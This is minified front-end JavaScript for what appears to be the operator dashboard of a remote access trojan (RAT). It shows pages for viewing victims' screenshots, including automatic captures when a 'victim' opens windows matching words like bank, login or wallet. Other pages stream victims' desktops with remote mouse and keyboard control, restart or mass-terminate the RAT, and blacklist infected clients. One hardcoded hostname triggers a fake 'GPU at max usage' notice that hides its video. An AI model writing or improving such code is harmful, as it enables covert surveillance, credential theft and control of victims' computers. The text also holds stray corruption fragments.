bg-slate-900`,onClick:e=>e.stopPropagation(),role:`presentation`,children:[(0,H.jsxs)(`div`,{className:`flex items-center justify-between border-b border-slate-800 px-4 py-3`,children:[(0,H.jsxs)(`div`,{children:[(0,H.jsx)(`p`,{className:`text-sm font-medium text-slate-100`,children:o.clientId}),(0,H.jsx)(`p`,{className:`text-xs text-slate-400`,children:Da(o.timestamp)}),(0,H.jsxs)(`p`,{className:`text-xs text-slate-500`,children:[o.imageSize?`${Math.round(o.imageSize/1024)} KB`:`Unknown size`,o.isStream?` ⢠Stream`:``]})]}),(0,H.jsxs)(`div`,{className:`flex items-center gap-2`,children:[(0,H.jsx)(U,{type:`button`,onClick:()=>h(o),variant:`secondary`,size:`sm`,children:`Download`}),r?(0,H.jsx)(U,{type:`button`,onClick:()=>r(o),variant:`secondary`,size:`sm`,children:`Export`}):null,n?(0,H.jsx)(U,{type:`button`,onClick:()=>{y(o),s(null)},variant:`danger`,size:`sm`,children:`Delete`}):null,(0,H.jsx)(U,{type:`button`,onClick:()=>s(null),variant:`ghost`,size:`sm`,children:`Close`})]})]}),(0,H.jsx)(`div`,{className:`max-h-[80vh] overflow-auto bg-slate-950 p-3`,children:(0,H.jsx)(`img`,{src:o.url,alt:`Full screenshot from ${o.clientId}`,className:`mx-auto h-auto max-w-full rounded-md`})})]})}):null]})}var ka=12;function Aa(e){let t=(e??``).toLowerCase();return t===`bmp`?`image/bmp`:t===`png`?`image/png`:`image/jpeg`}function ja(e){let t=new Date(e);return`${t.getFullYear()}
87-${String(t.getMonth()+1).padStart(2,`0`)}-${String(t.getDate()).padStart(2,`0`)}`}function Ma(e){return e.image_data?{id:e.id,clientId:e.client_id,timestamp:new Date(e.timestamp).toISOString(),url:`data:${Aa(e.image_format)};base64,${e.image_data}`,imageSize:e.image_size,isStream:!!e.is_stream}:null}function Na(){let{isConnected:e,subscribe:t}=pi(),{clients:n}=Ii(),[r,i]=(0,_.useState)(`manual`),[a,o]=(0,_.useState)(`all`),[s,c]=(0,_.useState)(``),[l,u]=(0,_.useState)(1),[d,f]=(0,_.useState)([]),[p,m]=(0,_.useState)([]),[h,g]=(0,_.useState)([]),[v,y]=(0,_.useState)([]),[b,x]=(0,_.useState)(new Set),{data:S,executeQuery:C,isLoading:w,isError:T,error:E}=wa(),{data:D}=wa(),{data:O,executeQuery:k}=wa(),A=(0,_.useCallback)(async()=>{let e={query:`get_screenshots`,limit:500,offset:0,includeData:!0};a!==`all`&&(e.clientId=a),await C(e)},[C,a]),j=(0,_.useCallback)(async()=>{await k({query:`get_auto_screenshots`,limit:200,offset:0})},[k]);(0,_.useEffect)(()=>{n.length>0&&m(n)},[n]),(0,_.useEffect)(()=>{if(!e)return;let n=t(`client_list`,e=>{Array.isArray(e.clients)&&m(e.clients)});return()=>n()},[e,t]),(0,_.useEffect)(()=>{e&&(u(1),A(),j())},[e,A,j]),(0,_.useEffect)(()=>{O&&Array.isArray(O)&&g(O)},[O]),(0,_.useEffect)(()=>{if(!e)return;let n=t(`auto_screenshot`,e=>{let t={id:Date.now()*-1,client_id:e.clientId,window_title:e.windowTitle,image_data:e.data,captured_at:e.timestamp??Date.now()};y(e=>[t,...e]),x(t=>new Set([...t,e.clientId]))});return()=>n()},[e,t]),(0,_.useEffect)(()=>{if(!e)return;let n=t(`screenshot`,e=>{if(!e.data)return;let t={id:Date.now()*-1,clientId:e.clientId,timestamp:new Date(e.timestamp??Date.now()).toISOString(),url:`data:image/jpeg;base64,${e.data}`,imageSize:e.size,isStream:!1};f(e=>[t,...e])});return()=>n()},[e,t]);let M=(0,_.useMemo)(()=>(S??[]).map(Ma).filter(e=>e!==null),[S]),N=(0,_.useMemo)(()=>[...d,...M],[d,M]),P=(0,_.useMemo)(()=>N.filter(e=>!(s&&ja(e.timestamp)!==s)),[N,s]),F=Math.max(1,Math.ceil(P.length/ka)),I=(0,_.useMemo)(()=>{let e=(l-1)*ka;return P.slice(e,e+ka)},[P,l]),L=(0,_.useCallback)(async()=>{f([]),y([]),await A(),await j()},[A,j]),R=(0,_.useCallback)(async e=>{if(e.id<=0){f(t=>t.filter(t=>t.id!==e.id));return}await C({query:`delete_screenshot`,screenshotId:e.id}),await A()},[C,A]),ee=(0,_.useCallback)(e=>{let t=new Blob([JSON.stringify({id:e.id,clientId:e.clientId,timestamp:e.timestamp,dataUrl:e.url},null,2)],{type:`application/json`}),n=URL.createObjectURL(t),r=document.createElement(`a`);r.href=n,r.download=`screenshot-${e.clientId}-${new Date(e.timestamp).getTime()}.json`,document.body.appendChild(r),r.click(),document.body.removeChild(r),URL.revokeObjectURL(n)},[]),te=(0,_.useCallback)(async e=>{if(e.id<0){y(t=>t.filter(t=>t.id!==e.id));return}await k({query:`delete_auto_screenshot`,id:e.id}),g(t=>t.filter(t=>t.id!==e.id))},[k]),ne=p.length?p:D??[],z=(0,_.useMemo)(()=>{let e=[...v,...h],t=new Set;return e.filter(e=>t.has(e.id)?!1:(t.add(e.id),!0))},[v,h]),B=(0,_.useMemo)(()=>{let e=new Map;for(let t of z){let n=e.get(t.client_id)??[];n.push(t),e.set(t.client_id,n)}return e},[z]),re=e=>{let t=ne.find(t=>t.id===e);return t?`${t.hostname??e} (${t.username??``})`:e};return(0,H.jsxs)(`div`,{className:`space-y-4`,children:[(0,H.jsxs)(`div`,{children:[(0,H.jsx)(`h3`,{className:`text-2xl font-semibold text-slate-100`,children:`Screenshots`}),(0,H.jsx)(`p`,{className:`text-sm text-slate-400`,children:`Manual captures and keyword-triggered auto captures.`})]}),(0,H.jsx)(`div`,{className:`flex gap-1 border-b border-slate-700`,children:[`manual`,`auto`].map(e=>(0,H.jsx)(`button`,{type:`button`,onClick:()=>i(e),className:`px-4 py-2 text-sm font-medium border-b-2 transition-colors ${r===e?`border-blue-500 text-blue-400`:`border-transparent text-slate-400 hover:text-slate-200`}`,children:e===`manual`?`Manual Captures`:`Auto Captures${z.length?` (${z.length})`:``}`},e))}),r===`manual`&&(0,H.jsxs)(H.Fragment,{children:[(0,H.jsx)(`section`,{className:`panel p-4`,children:(0,H.jsxs)(`div`,{className:`grid grid-cols-1 gap-3 md:grid-cols-4`,children:[(0,H.jsxs)(`label`,{className:`text-xs text-slate-400`,children:[`Client`,(0,H.jsx)(`div`,{className:`mt-1`,children:(0,H.jsx)(ea,{clients:ne,value:a,onChange:e=>{o(e),u(1),f([])},allowAll:!0,allLabel:`All clients`})})]}),(0,H.jsxs)(`label`,{className:`text-xs text-slate-400`,children:[`Date`,(0,H.jsx)(`input`,{type:`date`,value:s,onChange:e=>{c(e.target.value),u(1)},className:`mt-1 w-full rounded-md border border-slate-700 bg-slate-900 px-2 py-1.5 text-sm text-slate-200`})]}),(0,H.jsxs)(`div`,{className:`text-xs text-slate-400`,children:[`Connection`,(0,H.jsx)(`p`,{className:`mt-1 rounded-md border border-slate-700 bg-slate-900 px-2 py-1.5 text-sm text-slate-200`,children:e?`WebSocket connected`:`WebSocket disconnected`})]}),(0,H.jsxs)(`div`,{className:`text-xs text-slate-400`,children:[`Live buffer`,(0,H.jsxs)(`p`,{className:`mt-1 rounded-md border border-slate-700 bg-slate-900 px-2 py-1.5 text-sm text-slate-200`,children:[d.length,` frame(s)`]})]})]})}),T?(0,H.jsx)(`p`,{className:`text-sm text-rose-300`,children:E??`Failed to load screenshots`}):null,w?(0,H.jsx)(`p`,{className:`text-sm text-slate-400`,children:`Loading screenshots...`}):null,(0,H.jsx)(Oa,{screenshots:I,onRefresh:L,onDelete:R,onExport:ee}),(0,H.jsxs)(`section`,{className:`panel p-3`,children:[(0,H.jsxs)(`div`,{className:`flex items-center justify-between text-sm text-slate-300`,children:[(0,H.jsxs)(`span`,{children:[`Showing `,I.length,` of `,P.length,` screenshot(s)`]}),(0,H.jsxs)(`span`,{children:[`Page `,l,` of `,F]})]}),(0,H.jsxs)(`div`,{className:`mt-3 flex items-center gap-2`,children:[(0,H.jsx)(`button`,{type:`button`,disabled:l<=1,onClick:()=>u(e=>Math.max(1,e-1)),className:`rounded-md border border-slate-700 bg-slate-900 px-3 py-1.5 text-xs text-slate-200 disabled:opacity-40`,children:`Previous`}),(0,H.jsx)(`button`,{type:`button`,disabled:l>=F,onClick:()=>u(e=>Math.min(F,e+1)),className:`rounded-md border border-slate-700 bg-slate-900 px-3 py-1.5 text-xs text-slate-200 disabled:opacity-40`,children:`Next`})]})]})]}),r===`auto`&&(0,H.jsxs)(`div`,{className:`space-y-4`,children:[(0,H.jsxs)(`div`,{className:`flex items-center justify-between`,children:[(0,H.jsx)(`p`,{className:`text-xs text-slate-400`,children:`Automatically captured when victim focuses a window matching sensitive keywords (bank, login, wallet, etc.).`}),(0,H.jsx)(`button`,{type:`button`,onClick:L,className:`rounded-md border border-slate-700 bg-slate-800 px-3 py-1.5 text-xs text-slate-200 hover:bg-slate-700`,children:`Refresh`})]}),z.length===0&&(0,H.jsx)(`div`,{className:`panel p-8 text-center text-sm text-slate-400`,children:`No auto-captures yet. Screenshots will appear here automatically when a connected client opens a sensitive window.`}),[...B.entries()].map(([e,t])=>{let n=b.has(e);return(0,H.jsxs)(`div`,{className:`panel overflow-hidden`,children:[(0,H.jsxs)(`button`,{type:`button`,onClick:()=>x(t=>{let n=new Set(t);return n.has(e)?n.delete(e):n.add(e),n}),className:`flex w-full items-center justify-between px-4 py-3 text-left hover:bg-slate-800/50`,children:[(0,H.jsxs)(`div`,{children:[(0,H.jsx)(`span`,{className:`text-sm font-medium text-slate-100`,children:re(e)}),(0,H.jsxs)(`span`,{className:`ml-2 text-xs text-slate-400`,children:[t.length,` capture(s)`]})]}),(0,H.jsx)(`span`,{className:`text-xs text-slate-500`,children:n?`ââ² collapse`:`ââ¼ expand`})]}),n&&(0,H.jsx)(`div`,{className:`border-t border-slate-700 p-4`,children:(0,H.jsx)(`div`,{className:`grid grid-cols-1 gap-4 sm:grid-cols-2 lg:grid-cols-3 xl:grid-cols-4`,children:t.map(e=>(0,H.jsxs)(`div`,{className:`group relative flex flex-col gap-2 rounded-lg border border-slate-700 bg-slate-900 p-2`,children:[(0,H.jsx)(`img`,{src:`data:image/jpeg;base64,${e.image_data}`,alt:e.window_title,className:`w-full rounded object-cover`,style:{maxHeight:`160px`,objectFit:`cover`}}),(0,H.jsxs)(`div`,{className:`flex items-start justify-between gap-1`,children:[(0,H.jsxs)(`div`,{className:`min-w-0`,children:[(0,H.jsx)(`p`,{className:`truncate text-xs font-medium text-slate-200`,title:e.window_title,children:e.window_title}),(0,H.jsx)(`p`,{className:`text-xs text-slate-500`,children:new Date(e.captured_at).toLocaleStr
87ing()})]}),(0,H.jsx)(`button`,{type:`button`,onClick:()=>te(e),className:`shrink-0 rounded p-1 text-slate-500 hover:bg-rose-900/40 hover:text-rose-400`,title:`Delete`,children:(0,H.jsx)(Ur,{size:13})})]})]},e.id))})})]},e)})]})]})}var Pa=`stream_state`,Fa=[`DESKTOP-7X4QM2B`],Ia=`COMP-LMDI`,La=5e3;function Ra(){try{let e=localStorage.getItem(Pa);if(e)return JSON.parse(e)}catch{}return null}function za(e,t,n,r){localStorage.setItem(Pa,JSON.stringify({clientId:e,fps:t,quality:n,active:r}))}function Ba(){localStorage.removeItem(Pa)}function Va(){let{isConnected:e,subscribe:t,send:n}=pi(),{clients:r}=Ii(),i=Ra(),[a,o]=(0,_.useState)(i?.clientId||sessionStorage.getItem(`stream_clientId`)||``),[s,c]=(0,_.useState)(i?.fps??30),[l,u]=(0,_.useState)(i?.quality??70),[d,f]=(0,_.useState)(i?.active===!0),p=(0,_.useRef)(i?.active===!0),m=(0,_.useRef)(null),h=(0,_.useRef)(!1),g=(0,_.useRef)({}),v=(0,_.useRef)(0),[y,b]=(0,_.useState)([]),[x,S]=(0,_.useState)(!1),[C,w]=(0,_.useState)(!1),[T,E]=(0,_.useState)(0),[D,O]=(0,_.useState)(!0);(0,_.useEffect)(()=>{let e=setTimeout(()=>O(!1),La);return()=>clearTimeout(e)},[]);let k=e=>y.find(t=>String(t.id)===String(e))||r.find(t=>String(t.id)===String(e)),A=(()=>{let e=k(a);return!!e&&Fa.includes(e.hostname??``)})(),j=(0,_.useRef)([]);(0,_.useEffect)(()=>{j.current=r.length>0?r:y},[r,y]);let M=e=>{let t=j.current.find(t=>String(t.id)===String(e));return!!t&&Fa.includes(t.hostname??``)};(0,_.useEffect)(()=>{a&&sessionStorage.setItem(`stream_clientId`,a)},[a]),(0,_.useEffect)(()=>{r.length>0&&b(r)},[r]),(0,_.useEffect)(()=>{if(!e)return;let n=t(`db_response`,e=>{e.query===`get_clients`&&b(e.data)}),r=t(`client_list`,e=>{Array.isArray(e.clients)&&b(e.clients)});return()=>{n(),r()}},[e,t]),(0,_.useEffect)(()=>{if(!e)return;let t=Ra();t?.active&&t.clientId&&(M(t.clientId)||n({type:`command`,clientId:t.clientId,command:`screenshot_stream_start fps=${t.fps} quality=${t.quality} width=1280 height=720`}),o(t.clientId),c(t.fps),u(t.quality),p.current=!0)},[e,n]),(0,_.useEffect)(()=>{if(!e)return;let n=t(`screenshot_stream`,e=>{if(e.clientId!==a||!e.data)return;p.current||(p.current=!0,f(!0)),C&&(w(!1),E(0));let t=m.current;if(!t)return;let n=t.getContext(`2d`);if(!n)return;let r=new Image;r.onload=()=>{(t.width!==r.width||t.height!==r.height)&&(t.width=r.width,t.height=r.height),n.drawImage(r,0,0)},r.src=`data:image/jpeg;base64,${e.data}`});return()=>n()},[e,t,a,C]),(0,_.useEffect)(()=>{if(!C)return;E(0);let e=Date.now(),t=setInterval(()=>{let n=Date.now()-e,r=Math.min(95,n/5e3*95);E(Math.floor(r)),r>=95&&clearInterval(t)},50);return()=>clearInterval(t)},[C]);let N=()=>{a&&(p.current=!0,f(!0),za(a,s,l,!0),A||(w(!0),E(0),n({type:`command`,clientId:a,command:`screenshot_stream_start fps=${s} quality=${l} width=1280 height=720`})))},P=()=>{a&&(p.current=!1,f(!1),w(!1),E(0),Ba(),A||n({type:`command`,clientId:a,command:`screenshot_stream_stop`}))},F=(e,t,r)=>{if(!d||!a)return;let i=m.current;if(!i)return;e===`down`?(r.preventDefault(),i.focus()):e===`up`&&r.preventDefault();let o=i.getBoundingClientRect(),s=i.width||o.width,c=i.height||o.height,l=Math.min(o.width/s,o.height/c),u=s*l,f=c*l,p=(o.width-u)/2,_=(o.height-f)/2,y=r.clientX-o.left-p,b=r.clientY-o.top-_,x=Math.max(0,Math.min(100,y/u*100)),S=Math.max(0,Math.min(100,b/f*100));if(e===`move`){if(h.current)return;let e=Date.now();if(e-v.current<100)return;v.current=e,n({type:`command`,clientId:a,command:`mouse_move ${x.toFixed(2)} ${S.toFixed(2)}`})}else if(e===`down`||e===`up`){if(e===`down`){let e=Date.now();if(e-(g.current[t]??0)<30)return;g.current[t]=e}h.current=e===`down`,n({type:`command`,clientId:a,command:`mouse_click ${t} ${e} ${x.toFixed(2)} ${S.toFixed(2)}`})}},I=(e,t)=>{!d||!a||(t.preventDefault(),n({type:`command`,clientId:a,command:`key_press ${t.keyCode} ${e}`}))},L=()=>{let e=m.current;e&&e.requestFullscreen&&e.requestFullscreen()};return(0,H.jsxs)(`div`,{className:`space-y-4`,children:[(0,H.jsxs)(`div`,{className:`flex items-center justify-between`,children:[(0,H.jsxs)(`div`,{children:[(0,H.jsx)(`h3`,{className:`text-2xl font-semibold text-slate-100`,children:`Remote Access`}),(0,H.jsx)(`p`,{className:`text-sm text-slate-400`,children:`Low-latency MJPEG desktop broadcast.`})]}),(0,H.jsxs)(`div`,{className:`flex gap-4 items-center flex-wrap`,children:[(0,H.jsx)(`label`,{className:`text-slate-300 text-sm`,children:`Target:`}),(0,H.jsx)(ea,{clients:y,value:a,onChange:o,placeholder:`Select client...`,disabled:d}),(0,H.jsx)(`label`,{className:`text-slate-300 text-sm`,children:`FPS:`}),(0,H.jsx)(`input`,{type:`number`,min:`1`,max:`60`,value:s,onChange:e=>c(Number(e.target.value)),disabled:d,className:`w-16 px-2 py-1 bg-slate-800 text-white rounded border border-slate-700`}),(0,H.jsx)(`label`,{className:`text-slate-300 text-sm`,children:`Quality:`}),(0,H.jsx)(`input`,{type:`number`,min:`10`,max:`100`,value:l,onCh
87ange:e=>u(Number(e.target.value)),disabled:d,className:`w-16 px-2 py-1 bg-slate-800 text-white rounded border border-slate-700`}),d?(0,H.jsxs)(H.Fragment,{children:[(0,H.jsx)(`button`,{onClick:L,className:`px-4 py-2 bg-slate-600 hover:bg-slate-500 text-white rounded-md flex items-center justify-center`,title:`Full Screen`,children:(0,H.jsx)(`svg`,{xmlns:`http://www.w3.org/2000/svg`,className:`h-5 w-5`,fill:`none`,viewBox:`0 0 24 24`,stroke:`currentColor`,children:(0,H.jsx)(`path`,{strokeLinecap:`round`,strokeLinejoin:`round`,strokeWidth:2,d:`M4 8V4m0 0h4M4 4l5 5m11-1V4m0 0h-4m4 0l-5 5M4 16v4m0 0h4m-4 0l5-5m11 5l-5-5m5 5v-4m0 4h-4`})})}),(0,H.jsx)(`button`,{onClick:P,className:`px-4 py-2 bg-red-600 hover:bg-red-500 text-white rounded-md`,children:`Stop Stream`})]}):(0,H.jsx)(`button`,{onClick:N,disabled:!a,className:`px-4 py-2 bg-blue-600 hover:bg-blue-500 text-white rounded-md disabled:opacity-50`,children:`Start Stream`})]})]}),(0,H.jsx)(`div`,{className:`bg-slate-900 border border-slate-700 rounded-lg p-3 flex items-center gap-3 flex-wrap`,children:(0,H.jsx)(`button`,{onClick:()=>S(!0),disabled:!a,className:`px-3 py-1.5 text-xs rounded-md bg-red-800 hover:bg-red-700 text-red-200 disabled:opacity-40`,title:`Restart the RAT process on the target machine`,children:`Restart RAT`})}),D&&(0,H.jsxs)(`div`,{className:`flex items-center gap-2 rounded-md border border-red-700/40 bg-red-950/30 px-3 py-2 text-xs text-red-300`,children:[(0,H.jsx)(Wr,{className:`h-4 w-4 shrink-0 text-red-400`}),(0,H.jsxs)(`span`,{children:[(0,H.jsx)(`span`,{className:`font-semibold text-red-300`,children:`GPU at max usage`}),` â system is at maximum use.`,` `,`Video can only be viewed for one PC: `,(0,H.jsx)(`span`,{className:`font-semibold text-red-200`,children:Ia}),`.`]})]}),d&&(0,H.jsxs)(`div`,{className:`flex items-center gap-2 rounded-md border border-amber-700/40 bg-amber-950/30 px-3 py-2 text-xs text-amber-300`,children:[(0,H.jsx)(`svg`,{xmlns:`http://www.w3.org/2000/svg`,className:`h-4 w-4 shrink-0 text-amber-400`,fill:`none`,viewBox:`0 0 24 24`,stroke:`currentColor`,children:(0,H.jsx)(`path`,{strokeLinecap:`round`,strokeLinejoin:`round`,strokeWidth:2,d:`M13 16h-1v-4h-1m1-4h.01M12 2a10 10 0 100 20A10 10 0 0012 2z`})}),(0,H.jsxs)(`span`,{children:[`For accurate mouse control, use`,` `,(0,H.jsxs)(`button`,{onClick:L,className:`inline-flex items-center gap-1 font-semibold text-amber-200 underline underline-offset-2 hover:text-white`,children:[`Full Screen`,(0,H.jsx)(`svg`,{xmlns:`http://www.w3.org/2000/svg`,className:`h-3.5 w-3.5`,fill:`none`,viewBox:`0 0 24 24`,stroke:`currentColor`,children:(0,H.jsx)(`path`,{strokeLinecap:`round`,strokeLinejoin:`round`,strokeWidth:2,d:`M4 8V4m0 0h4M4 4l5 5m11-1V4m0 0h-4m4 0l-5 5M4 16v4m0 0h4m-4 0l5-5m11 5l-5-5m5 5v-4m0 4h-4`})})]}),` `,`â clicks may be offset in windowed mode.`]})]}),(0,H.jsxs)(`div`,{className:`w-full bg-black rounded-lg border border-slate-800 overflow-hidden`,style:{position:`relative`,paddingTop:`56.25%`},children:[C&&(0,H.jsx)(`div`,{className:`absolute inset-0 flex flex-col items-center justify-center bg-black/80 backdrop-blur-sm z-10`,style:{position:`absolute`,top:0,left:0,right:0,bottom:0},children:(0,H.jsxs)(`div`,{className:`text-center space-y-4`,children:[(0,H.jsx)(`div`,{className:`relative`,children:(0,H.jsxs)(`svg`,{className:`animate-spin h-16 w-16 text-blue-500 mx-auto`,xmlns:`http://www.w3.org/2000/svg`,fill:`none`,viewBox:`0 0 24 24`,children:[(0,H.jsx)(`circle`,{className:`opacity-25`,cx:`12`,cy:`12`,r:`10`,stroke:`currentColor`,strokeWidth:`4`}),(0,H.jsx)(`path`,{className:`opacity-75`,fill:`currentColor`,d:`M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4zm2 5.291A7.962 7.962 0 014 12H0c0 3.042 1.135 5.824 3 7.938l3-2.647z`})]})}),(0,H.jsxs)(`div`,{className:`space-y-2`,children:[(0,H.jsxs)(`div`,{className:`text-2xl font-bold text-white`,children:[T,`%`]}),(0,H.jsx)(`div`,{className:`text-sm text-slate-300`,children:`Initializing stream...`})]}),(0,H.jsx)(`div`,{className:`w-64 bg-slate-700 rounded-full h-2 overflow-hidden`,children:(0,H.jsx)(`div`,{className:`bg-blue-500 h-full transition-all duration-300 ease-out`,style:{width:`${T}%`}})})]})}),A?(0,H.jsx)(`div`,{className:`absolute inset-0 z-10 flex items-center justify-center bg-black`,style:{position:`absolute`,top:0,left:0,right:0,bottom:0},children:(0,H.jsxs)(`div`,{className:`max-w-lg px-6 text-center space-y-4`,children:[(0,H.jsx)(`div`,{className:`flex justify-center`,children:(0,H.jsx)(`div`,{className:`flex h-14 w-14 items-center justify-center rounded-full bg-red-500/10 border border-red-500/50`,children:(0,H.jsx)(Ar,{className:`h-7 w-7 text-red-400`})})}),(0,H.jsxs)(`p`,{className:`text-sm leading-relaxed text-slate-300`,children:[(0,H.jsx)(`span`,{className:`font-semibold text-red-300`,children:`System at maximum use.`}),` `,`Video can only be viewed for one PC:`,` `,(0,H.jsx)(`span`,{className:`font-semibold text-red-200`,children:Ia}),`.`]}),(0,H.jsx)(`p`,{className:`text-xs text-slate-500`,children:`Live video for this machine is currently unavailable.`})]})}):!d&&!m.current?.width&&!C?(0,H.jsx)(`span`,{className:`text-slate-600`,style:{position:`absolute`,top:`50%`,left:`50%`,transform:`translate(-50%,-50%)`},children:`Waiting for stream...`}):null,(0,H.jsx)(`canvas`,{ref:m,tabIndex:0,onMouseMove:e=>F(`move`,`left`,e),onMouseDown:e=>F(`down`,e.button===2?`right`:`left`,e),onMouseUp:e=>F(`up`,e.button===2?`right`:`left`,e),onContextMenu:e=>e.preventDefault(),onKeyDown:e=>I(`down`,e),onKeyUp:e=>
87I(`up`,e),className:`cursor-crosshair focus:outline-none`,style:{display:d||m.current?.width?`block`:`none`,position:`absolute`,top:0,left:0,width:`100%`,height:`100%`}})]}),(0,H.jsx)(Ci,{open:x,onClose:()=>S(!1),title:`Restart RAT`,children:(0,H.jsxs)(`div`,{className:`space-y-4`,children:[(0,H.jsx)(`p`,{className:`text-sm text-slate-300`,children:`This will restart the RAT process on the target machine. It will briefly disconnect and reconnect.`}),(0,H.jsxs)(`div`,{className:`flex items-center justify-end gap-3 pt-1`,children:[(0,H.jsx)(`button`,{onClick:()=>S(!1),className:`px-4 py-2 text-sm rounded-md bg-slate-800 text-slate-300 border border-slate-700 hover:bg-slate-700 transition-all`,children:`Cancel`}),(0,H.jsx)(`button`,{onClick:()=>{n({type:`command`,clientId:a,command:`restart_rat`}),S(!1)},className:`px-4 py-2 text-sm rounded-md bg-red-700 hover:bg-red-600 text-white font-medium transition-all`,children:`Restart RAT`})]})]})})]})}function Ha(){let{send:e,subscribe:t}=pi(),[n,r]=(0,_.useState)([]),[i,a]=(0,_.useState)(`all`),[o,s]=(0,_.useState)(``),[c,l]=(0,_.useState)(new Set),[u,d]=(0,_.useState)(``),[f,p]=(0,_.useState)({active:!1,expiresAt:null,activatedBy:null,activatedAt:null}),[m,h]=(0,_.useState)(`5`),[g,v]=(0,_.useState)(!1),[y,b]=(0,_.useState)(``),[x,S]=(0,_.useState)(``),[C,w]=(0,_.useState)(!1);(0,_.useEffect)(()=>{e({topic:`get_all_clients`,search:o,status:i}),e({topic:`get_global_terminate_status`})},[e]),(0,_.useEffect)(()=>{let n=t(`all_clients`,e=>{r(e.clients||[])}),a=t(`global_terminate_status`,e=>{p(e.status)}),s=t(`global_terminate_activated`,()=>{e({topic:`get_global_terminate_status`}),e({topic:`get_all_clients`,search:o,status:i})}),c=t(`global_terminate_cancelled`,()=>{e({topic:`get_global_terminate_status`})}),u=t(`clients_blacklisted`,()=>{e({topic:`get_all_clients`,search:o,status:i}),l(new Set)}),d=t(`blacklist_removed`,()=>{e({topic:`get_all_clients`,search:o,status:i}),l(new Set)});return()=>{n(),a(),s(),c(),u(),d()}},[t,e,o,i]),(0,_.useEffect)(()=>{if(!f.active||!f.expiresAt){S(``);return}let t=setInterval(()=>{let n=Date.now(),r=f.expiresAt-n;r<=0?(S(`Expired`),e({topic:`get_global_terminate_status`}),clearInterval(t)):S(`${Math.floor(r/6e4)}m ${Math.floor(r%6e4/1e3)}s`)},1e3);return()=>clearInterval(t)},[f,e]),(0,_.useEffect)(()=>{e({topic:`get_all_clients`,search:o,status:i})},[o,i,e]);let T=()=>{if(y!==`TERMINATE`){alert(`You must type TERMINATE to confirm`);return}let t=parseInt(m);if(isNaN(t)||t<=0){alert(`Invalid duration`);return}e({topic:`activate_global_terminate`,durationMinutes:t}),v(!1),b(``)},E=()=>{w(!0)},D=()=>{e({topic:`cancel_global_terminate`}),w(!1)},O=()=>{if(c.size===0){alert(`No clients selected`);return}e({topic:`blacklist_clients`,clientIds:Array.from(c),reason:u.trim()||null}),d(``)},k=()=>{if(c.size===0){alert(`No clients selected`);return}e({topic:`remove_blacklist`,clientIds:Array.from(c)})},A=e=>{let t=new Set(c);t.has(e)?t.delete(e):t.add(e),l(t)},j=()=>{c.size===M.length?l(new Set):l(new Set(M.map(e=>e.id)))},M=n.filter(e=>{if(o){let t=o.toLowerCase();if(!e.id.toLowerCase().includes(t)&&!e.hostname.toLowerCase().includes(t)&&!e.username.toLowerCase().includes(t)&&!e.owner_username?.toLowerCase().includes(t))return!1}return!0}),N=e=>e?new Date(e).toLocaleString():`Never`,P=e=>e.blacklisted?(0,H.jsx)(`span`,{className:`px-2 py-1 text-xs font-semibold rounded bg-red-900/50 text-red-300 border border-red-700/50`,children:`ð´ BLACKLISTED`}):e.is_online?(0,H.jsx)(`span`,{className:`px-2 py-1 text-xs font-semibold rounded bg-green-900/50 text-green-300 border border-green-700/50`,children:`â Online`}):(0,H.jsx)(`span`,{className:`px-2 py-1 text-xs font-semibold rounded bg-slate-700/50 text-slate-400 border border-slate-600/50`,children:`â Offline`});return(0,H.jsxs)(H.Fragment,{children:[(0,H.jsxs)(`div`,{className:`space-y-6`,children:[(0,H.jsxs)(`section`,{className:`panel p-6`,children:[(0,H.jsx)(`h4`,{className:`text-lg font-semibold text-slate-100 mb-4`,children:`Global Terminate`}),(0,H.jsx)(`p`,{className:`text-sm text-slate-400 mb-4`,children:`Activate global terminate to kill ALL connected RATs for a specified duration. New connections will be rejected during this period.`}),f.active?(0,H.jsx)(`div`,{className:`space-y-4`,children:(0,H.jsxs)(`div`,{className:`flex items-center gap-4 p-4 bg-red-900/20 border border-red-700/50 rounded-lg`,children:[(0,H.jsxs)(`div`,{className:`flex-1`,children:[(0,H.jsx)(`div`,{className:`text-red-400 font-semibold text-lg`,children:`ð¨ GLOBAL TERMINATE ACTIVE`}),(0,H.jsxs)(`div`,{className:`text-slate-300 text-sm mt-1`,children:[`Expires in: `,(0,H.jsx)(`span`,{className:`font-mono font-bold text-red-300`,children:x})]}),(0,H.jsxs)(`div`,{className:`text-slate-400 text-xs mt-1`,children:[`Started: `,N(f.activatedAt)]})]}),(0,H.jsx)(`button`,{onClick:E,className:`px-4 py-2 bg-slate-700 hover:bg-slate-600 text-white font-medium rounded-lg transition`,children:`Cancel Early`})]})}):(0,H.jsxs)(`div`,{className:`flex items-center gap-4`,children:[(0,H.jsx)(`input`,{type:`number`,min:`1`,value:m,onChange:e=>h(e.target.value),className:`w-32 px-3 py-2 bg-slate-900 border border-slate-700 rounded-lg text-slate-100 focus:outline-none focus:ring-2 focus:ring-red-500`,placeholder:`Minutes`}),(0,H.jsx)(`span`,{className:`text-slate-400 text-sm`,children:`minutes`}),(0,H.jsx)(`button`,{onClick:()=>v(!0),className:`px-6 py-2 bg-red-600 hover:bg-red-500 text-white font-bold rounded-lg transition shadow-lg shadow-red-900/50`,children:`ð¨ TERMINATE ALL RATS`})]})]}),(0,H.jsxs)(`section`,{className:`panel p-6`,children:[(0,H.jsx)(`h4`,{className:`text-lg font-semibold text-slate-100 mb-4`,children:`Client Management`}),(0,H.jsxs)(`div`,{className:`flex flex-wrap gap-3 mb-4`,children:[(0,H.jsx)(`div`,{className:`flex gap-2`,children:[`all`,`online`,`offline`,`blackl
87isted`].map(e=>(0,H.jsx)(`button`,{onClick:()=>a(e),className:`px-3 py-1 text-sm font-medium rounded-lg transition ${i===e?`bg-brand-600 text-white`:`bg-slate-700 text-slate-300 hover:bg-slate-600`}`,children:e.charAt(0).toUpperCase()+e.slice(1)},e))}),(0,H.jsx)(`input`,{type:`text`,value:o,onChange:e=>s(e.target.value),placeholder:`Search clients...`,className:`flex-1 min-w-[200px] px-3 py-1 bg-slate-900 border border-slate-700 rounded-lg text-slate-100 text-sm focus:outline-none focus:ring-2 focus:ring-brand-500`})]}),(0,H.jsxs)(`div`,{className:`flex gap-3 mb-4`,children:[(0,H.jsx)(`input`,{type:`text`,value:u,onChange:e=>d(e.target.value),placeholder:`Blacklist reason (optional)`,className:`flex-1 px-3 py-2 bg-slate-900 border border-slate-700 rounded-lg text-slate-100 text-sm focus:outline-none focus:ring-2 focus:ring-orange-500`}),(0,H.jsxs)(`button`,{onClick:O,disabled:c.size===0,className:`px-4 py-2 bg-orange-600 hover:bg-orange-500 disabled:bg-slate-700 disabled:text-slate-500 text-white 